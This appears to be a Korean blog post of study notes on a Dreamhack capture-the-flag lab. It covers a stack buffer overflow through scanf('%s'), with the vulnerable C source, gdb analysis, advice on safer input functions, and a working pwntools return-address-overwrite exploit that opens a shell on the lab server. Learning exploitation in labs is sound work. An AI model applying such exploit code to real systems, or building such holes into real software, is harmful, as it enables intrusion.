본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 4 - 함께실습

by 단월໒꒱ 2022. 1. 30.

[함께실습] Stack Buffer Overflow

 

[Exploit Tech : Return Address Overwrite]

1. 실습 코드

 - 이번 실습에 사용할 예제 코드

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

 

2. 분석

 1) 취약점 분석

   - 취약점 : scanf("%s", buf)에 존재

         - scanf 함수의 %s는 문자열을 입력받을 때 사용 (입력의 길이를 제한x, 공백문자가 올때까지 계속 입력 받음)

         - 따라서 버퍼의 크기보다 큰 데이터를 받으면 오버플로우 발생 가능

         - scanf 에 %s 포맷 스트링은 절대 사용하지 말 것

         - 대신에 n개의 문자만 입력 받는 "%[n]s"의 형태로 사용할 것!

   - 이 외에 버퍼를 다루면서 길이를 입력하지 않는 함수들을 조심 ex) strcpy, strcat, sprintf

   - 버퍼의 크기를 입력해야 하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직

   - 따라서 프로그램의 취약점을 찾을 때 위의 조심해야 하는 함수들의 사용 여부를 잘 살펴야 함

   - 예제 코드 -> 크기가 0x28인 버퍼에 scanf 함수의 %s 포맷 스트링으로 입력을 받으므로 버퍼 오버플로우 발생 가능

 

 2) 트리거

   - 발견한 취약점을 확인해보는 것

   - core dumped : 코어파일(core)을 생성했다는 것

         - 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것

 

 

 

A를 5개 입력했을 때, 프로그램이 정상적으로 종료됐지만 A를 아주 많이 입력했을 때, Segmentation fault가 뜨며 비정상 종료됨을 확인할 수 있다.

 

 cf) 코어 파일 생성되지 않았을 때

      - 코어 파일이 생성되지 않았다면 생성해야할 코어 파일의 크기가 제한된 크기를 초과했기 때문

      - $ ulimit -c unlimited 명령어로 제한을 해제하고 다시 오류를 발생시키면 코어 파일을 얻을 수 있음

 

 3) 코어 파일 분석

   - $ gdb -c core 명령어를 이용하여 코어 파일을 열고 프로그램 종료 원인과 어떤 주소의 명령어에서 문제가 발생했는 지 알 수 있음

 

 

3. 익스플로잇

 1) 스택 프레임 구조 파악

   - 스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사 필요

   

 2) get_shell() 주소 확인

   - get_shell() : 셀을 실행해주는 함수

   - get_shell()의 주소를 찾기 위해 gdb 이용

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4005a7 <get_shell>

  

위의 예시에서는 get_shell()의 주소가 0x4005a7임을 확인할 수 있다.

 

 3) 페이로드 구성

   - 페이로드 : 시스템 해킹에서 공격을 위해 프로그램에 전달하는 데이터

 

 4) 엔디언 적용

   - 엔디언 : 메모리에서 데이터가 정렬되는 방식

   - 종류 : 리틀 엔디언 / 빅 엔디언

   - 리틀 엔디언 : 데이터 MSB(Most Significant Byte)가 가장 높은 주소에 저장

   - 빅 엔디언 : 데이터의 MSB가 가장 낮은 주소에 저장

 

 

0x12345678 은 엔디언에 따라 위와 같이 저장된다.

 

 5) 익스플로잇

   - 엔디언을 적용하여 페이로드를 작성하고 아래의 커맨드로 rao에 전달하면 셀 획득 가능

 

4. 취약점 패치

 1) rao

   - rao 에서 위험한 문자열 입력함수를 이용하여 취약점 발생했었음

   - 해당 취약점을 패치하기 위해 C언어에서 자주 사용되는 문자열 입력 함수와 패턴들

 

입력 함수 (패턴) 위험도 평가 근거
gets(buf) 매우 위험 - 입력받는 길이에 제한 x
- 버퍼의 널 종결을 보장 x
scanf("%s", buf) 매우 위험 - 입력받는 길이에 제한 x
- 버퍼의 널 종결을 보장 x
scanf("%[width]s", buf) 주의 필요 - width만큼만 입력 받음
- 버퍼의 널 종결 보장 x
fgets(buf, len, stream) 주의 필요 - len 만큼만 입력 받음
- 버퍼의 널 종결을 보장
- 데이터 유실 주의

 

 

 

[Return Address Overwrite]

 

 

 

일단 문제 정보를 보면 위의 이론 내용을 실습하는 문제인 것 같다.

 

파일을 받고 rao.c 파일의 코드를 살펴보았다.

 

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

 

이미 앞에서 다룬 코드라 큰 내용은 없고 문제의 제목대로 일단 주소를 덮어써줘야한다는 생각으로 접근했다.

 

 

 

 

앞선 강의 내용을 참고하여 get_shell() 함수의 주소가 0x4011dd라는 것을 확인할 수 있었다.

(이거 때문에 처음에 get_shell 주소를 0x4011dd로 설정했었는데 버전이 달라서 그런지 이후의 단계에서 막혔다. 그러다가 dreamhack 초반에 설치하라고 했던 버전으로 다시 구한 get_shell 주소(0x4006aa)로 시도해보니 해결할 수 있었다.)

 

그리고 스크린샷은 날아가서 미처 넣지 못했지만 disasm을 확인했을 때 rsp에서 0x30만큼 뺐기 때문에 rsp와 rbp 사이의 크기는 0x30 바이트이다. 

여기에 추가로 덮어야 하는 부분까지 합하면 8바이트이기 때문에 총 38바이트로 잡아주었다.

 

 

from pwn import * 
context.log_level = 'debug'

p = remote("host1.dreamhack.games",11552)  
context(arch='amd64', os = 'linux')

payload = b"a" * 0x38 
payload += p64(0x4006aa) 

p.sendline(payload)      
p.interactive()

 

 

익스플로잇 코드를 작성했는데 이거는 구글링을 통해 부분부분 완성했다.

이렇게 완성한 코드를 파이썬을 이용해서 실행하니

 

 

 

 

원하는 flag 내용을 얻을 수 있었다.

 

 

댓글